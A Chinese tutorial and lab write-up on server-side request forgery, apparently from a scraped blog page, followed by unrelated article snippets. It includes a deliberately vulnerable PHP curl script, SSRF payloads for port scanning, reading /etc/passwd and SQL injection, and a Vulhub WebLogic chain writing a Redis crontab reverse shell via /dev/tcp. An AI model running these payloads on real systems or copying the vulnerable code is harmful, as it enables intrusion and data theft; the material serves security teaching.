服务端请求伪造(SSRF)及漏洞复现

服务端请求伪造

1. 概述

服务器会根据用户提交的URL 发送一个HTTP 请求。使用用户指定的URL,Web 应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL 和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造”的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF 是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

1.1.1 PHP 原理

curl(命令行工具),wget都是命令行下的浏览器,模拟浏览器

CURL下载网络资源:curl+空格+资源地址+-O

wget下载网络资源:wget+资源地址

利用curl 实现,需要PHP 扩展组件curl 支持。

<?php
//	ssrf_curl.phpif(isset($_REQUEST['url']))//判断是否提交了url这个参数,否则会提示提交url
{$link = $_REQUEST['url'];//url参数赋值给$link$fileName = './curled/'.time().".txt";$curlObj = curl_init($link);//创建一个对象做curl对象的初始化$fp = fopen($fileName,'w');//初始化之后会打开一个文件,这个文件在curled文件夹下curl_setopt($curlObj,CURLOPT_FILE,$fp);//把请求的内容写到$fp中curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);//服务器通过提交的url发起请求curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;
}
else
{echo "?url=[url]";
}?>

将上述代码复制到部署了phpstudy的服务器上

image-20230904135817557

使用浏览器访问curl.php网页

image-20230904140153123

然后在url中输入?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

image-20230904140207617

当我们向服务器提交URL的时候,服务器会代替我们发送请求(大多数时候是GET请求),如果这个请求是恶意的,并且服务器没有识别能力,那么可能会造成服务端请求伪造(SSRF)漏洞。如果说攻击者使用SSRF进行其他漏洞攻击的话(攻击者利用其他服务器,先向服务器提交URL然后服务器代替攻击者向被攻击者发出HTTP请求),那么被攻击者在受到攻击,进行攻击回溯的时候很难找到攻击者。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

1.3 SSRF 危害

  • 端口扫描;

  • 内网Web 应用指纹识别;

  • 攻击内网应用;

  • 读取本地文件;

2. SSRF 攻防

CTF:CTFHub

2.1 SSRF 利用

2.1.1 文件访问

?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt

image-20230904163827060

我们看到的不是真正的百度网页,我们看到的网站是192.168.16.136,而百度网页是192.168.16.136网址通过curl.php脚本通过提交的url地址访问到的内容给我们呈现出来的。

2.1.2 端口扫描

?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379

2.1.3 读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd?url=file:C:\phpStudy_20161103\WWW\ssrf\curl.php

image-20230904164627815

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

<Directory "C:\phpStudy_20161103\WWW\phpMyAdmin"> #Order allow,denyOrder deny,allow deny from allallow from 127.0.0.1</Directory>

通过修改httpd.conf内容,将上述代码复制到httpd.conf中的DocumentRoot(文档根目录)下

image-20230904165604444

修改完httpd.conf后,将phpstudy重启,重新在其他客户机上访问本机地址

image-20230904165813110

那么就会只允许127.0.0.1访问phpmyadmin

内网应用指纹识别。

?url=http://127.0.0.1/phpmyadmin/readme

image-20230904170056376

2.1.5 攻击内网web应用

内网安全通常都很薄弱。

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

将cms设置为只允许127.0.0.1访问

<Directory "C:\phpStudy_20161103\WWW\cms"> #Order allow,denyOrder deny,allow deny from allallow from 127.0.0.1</Directory>

image-20230904170945846

image-20230904171038872

通过ssrf访问cms

?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32
%30from%25%32%30cms_users
?url=http://127.0.0.1/cms
?url=http://127.0.0.1/cms/show.php?id=1/**/and/**/1=2/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
使用空格间隔的话会出错,不会回显。空格使用/**/代替

image-20230904171314812

image-20230904171908297

2.2 SSRF 实例

Weblogic SSRF 到GetShell

cd到vulhub/weblogic/ssrf下

sudo docker-compose up -d

访问本机地址的7001端口

image-20230904173332403

访问

http://192.168.16.176:7001/uddiexplorer/SearchPublicRegistries.jsp

image-20230904173712236

点击search然后使用bp抓包,将数据包发到重发器,点击发送(send)

image-20230904190225247

报错中有www-3.ibm.com而post请求数据包中提交的operator参数也有一条www-3.ibm.com,并且是在一条url中,那么此处很有可能存在ssrf漏洞

那么在dnslog中生成一个域名,测试operator参数会不会对其提交的数据进行解析(测试operator参数对其内容中的url会不会做出请求)

image-20230904190956703

image-20230904191917102

证明测试operator参数对其内容中的url做出请求

更换url为127.0.0.1再次尝试测试

image-20230904192239244

可知80端口没有开放

在测试7001,7002端口

image-20230904192927809

对本机端口进行探测,目标一般开的是docker环境。docker环境的内网IP范围:172.16.0.1,172.17.0.1,172.18.0.1,172.19.0.1

172.16.0.1:7001,172.17.0.1:7001,172.18.0.1:7001,172.19.0.1:7001结果一样,证明16,17,18,19,20都有7001端口

image-20230904195023263

然而172.20.0.2没有开放7001端口,但是可能开放其他端口

image-20230904195849237

有redis表示可以读取数据,写数据或写ssh公钥,获取webshell,周期性计划任务。因为80端22端没有开放,并且无回显,尝试写入周期性计划任务获得shell

使用瑞士军刀扫描21端口

nc -lnvp 21

image-20230904201531856

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.16.176/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

因为计划任务需要通过http提交,将计划任务进行url编码

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.176%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
http://172.20.0.2:6379/xj%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.176%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Axj

image-20230904201346059

点击提交,随后获得docker的反弹shell

image-20230904201701008

image-20230904201755910

image-20230904201848010

2.3 SSRF 防御

2.3.1 过滤输入

  • 限制协议,仅允许 http 或 https 协议;
  • 限制IP,避免应用被用来获取内网数据,攻击内网;
  • 限制端口,限制请求端口为常用端口。

2.3.2 过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤;

  • 统一错误信息,让攻击无法对内网信息进行判断。

3. SSRF 挖掘

Web 功能URL 关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/99783.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

QT 初识多线程

1.QThread线程基础 QThread是Qt线程中有一个公共的抽象类&#xff0c;所有的线程类都是从QThread抽象类中派生的&#xff0c;需要实现QThread中的虚函数run(),通过start()函数来调用run函数。 void run&#xff08;&#xff09;函数是线程体函数&#xff0c;用于定义线程的功能…

ChatGPT:深度学习和机器学习的知识桥梁(文末送书)

&#x1f935;‍♂️ 个人主页&#xff1a;艾派森的个人主页 ✍&#x1f3fb;作者简介&#xff1a;Python学习者 &#x1f40b; 希望大家多多支持&#xff0c;我们一起进步&#xff01;&#x1f604; 如果文章对你有帮助的话&#xff0c; 欢迎评论 &#x1f4ac;点赞&#x1f4…

【Unity3D】UI Toolkit样式选择器

1 前言 UI Toolkit简介 中介绍了样式属性&#xff0c;UI Toolkit容器 和 UI Toolkit元素 中介绍了容器和元素&#xff0c;本文将介绍样式选择器&#xff08;Selector&#xff09;&#xff0c;主要包含样式类选择器&#xff08;Class Selector&#xff09;、C# 类选择器&#xf…

2 | Window 搭建单机 Hadoop 和Spark

搭建单机 Hadoop 和 Spark 环境可以学习和测试大数据处理的基础知识。在 Windows 操作系统上搭建这两个工具需要一些配置和设置,下面是一个详细的教程: 注意: 在开始之前,请确保你已经安装了 Java 开发工具包(JDK),并且已经下载了 Hadoop 和 Spark 的最新版本。你可以从…

准备HarmonyOS开发环境

引言 在开始 HarmonyOS 开发之前&#xff0c;需要准备好开发环境。本章将详细指导你如何安装 HarmonyOS SDK、配置开发环境、创建 HarmonyOS 项目。 目录 安装 HarmonyOS SDK 配置开发环境 创建 HarmonyOS 项目 总结 1. 安装 HarmonyOS SDK HarmonyOS SDK 是开发 Harmo…

基于Matlab分析的电力系统可视化研究

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

精益制造、质量管控,盛虹百世慧共同启动MOM(制造运营管理)

百世慧科技依托在电池智能制造行业中的丰富经验&#xff0c;与盛虹动能达成合作&#xff0c;为其提供MOM制造运营管理平台&#xff0c;并以此为起点&#xff0c;全面提升盛虹动能的制造管理水平与运营体系。 行业困境 中国动力电池已然发展为全球最大的电池产业&#xff0c;但…

RK3568-i2c-适配8010rtc时钟芯片

硬件连接 从硬件原理图中可以看出&#xff0c;rtc时钟芯片挂载在i2c3总线上&#xff0c;设备地址需要查看芯片数据手册。编写设备树 &i2c3 {status "okay";rx8010: rx801032 {compatible "epson,rx8010";reg <0x32>;}; };使能驱动 /kernel/…

基于jeecg-boot的flowable流程自定义业务退回撤回或驳回到发起人后的再次流程提交

更多nbcio-boot功能请看演示系统 gitee源代码地址 后端代码&#xff1a; https://gitee.com/nbacheng/nbcio-boot 前端代码&#xff1a;https://gitee.com/nbacheng/nbcio-vue.git 在线演示&#xff08;包括H5&#xff09; &#xff1a; http://122.227.135.243:9888 主要…

嵌入式软件有限状态机的 C 语言实现

状态机模式是一种行为模式&#xff0c;通过多态实现不同状态的调转行为的确是一种很好的方法&#xff0c;只可惜在嵌入式环境下&#xff0c;有时只能写纯C代码&#xff0c;并且还需要考虑代码的重入和多任务请求跳转等情形&#xff0c;因此实现起来着实需要一番考虑。 近日在看…

鼠标知识系列之星闪鼠标

随着 2023.8.4 华为 HDC 大会的落幕&#xff0c;一个新的名词开始进入了人们的视线&#xff1a;星闪 NaerLink&#xff0c;随着星闪技术引入键鼠圈子的还有一个名词&#xff1a;星闪鼠标。 正如我们之前鼠标知识分享系列提到过的&#xff0c;目前市面上的鼠标主要是有线鼠标和…

【管理运筹学】第 7 章 | 图与网络分析(1,图论背景以及基本概念、术语、矩阵表示)

文章目录 引言一、图与网络的基本知识1.1 图与网络的基本概念1.1.1 图的定义1.1.2 图中相关术语1.1.3 一些特殊图类1.1.4 图的运算 1.2 图的矩阵表示1.2.1 邻接矩阵1.2.2 可达矩阵1.2.3 关联矩阵1.2.4 权矩阵 写在最后 引言 按照正常进度应该学习动态规划了&#xff0c;但我想…